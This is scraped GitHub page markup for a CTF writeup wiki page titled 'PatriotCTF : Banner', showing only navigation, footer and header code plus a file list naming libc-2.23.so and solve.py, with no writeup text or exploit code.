<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc-2.23.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/wiki-b72b6de22521.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_github_remo-8e6bec-232430bfe6da.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_scroll-anchoring_di-e71893-cc1b30c51a28.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_diffs_blob-lines_ts-app_assets_modules_github_diffs_linkable-line-n-f96c66-97aade341120.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/diffs-3a64c1f69a81.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wiki-1423a5c9ebf5.js"></script>
<title>PatriotCTF : Banner · not1cyyy/CTF-Writeups Wiki · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/wiki/:id(.:format)">
<meta name="current-catalog-service-hash" content="27690012a2eb28b75d0bacab0f2c11870266e8db9e019fa71fea812b82397bd6">
<meta name="request-id" content="ECE9:F966:13CCF5F:144D9DB:64121B3C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d63df891ee2fc58d66ee3deceff94a32c39a2f7776a00c8b98dc22c8b4c9639f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQ0U5OkY5NjY6MTNDQ0Y1RjoxNDREOURCOjY0MTIxQjNDIiwidmlzaXRvcl9pZCI6IjY1ODc4ODU4MzExNzU5MzY4MjgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="66fa4853b21897a84cb6bb4d6b87db4c539c0dd94002581c1989018776c4e847" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:481769760" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository" data-turbo-transient="true" />
<meta name="selected-link" value="repo_wiki" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/show" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e171482900f0c3d46b31f49340e572ecc31e0ee3e562f7133c521eed126b0881/not1cyyy/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="PatriotCTF : Banner" /><meta name="twitter:description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e171482900f0c3d46b31f49340e572ecc31e0ee3e562f7133c521eed126b0881/not1cyyy/CTF-Writeups" /><meta property="og:image:alt" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="PatriotCTF : Banner" /><meta property="og:url" content="https://github.com/not1cyyy/CTF-Writeups/wiki/PatriotCTF-:-Banner" /><meta property="og:description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta name="go-import" content="github.com/not1cyyy/CTF-Writeups git https://github.com/not1cyyy/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="101048320" /><meta name="octolytics-dimension-user_login" content="not1cyyy" /><meta name="octolytics-dimension-repository_id" content="481769760" /><meta name="octolytics-dimension-repository_nwo" content="not1cyyy/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="481769760" /><meta name="octolytics-dimension-repository_network_root_nwo" content="not1cyyy/CTF-Writeups" />
<meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
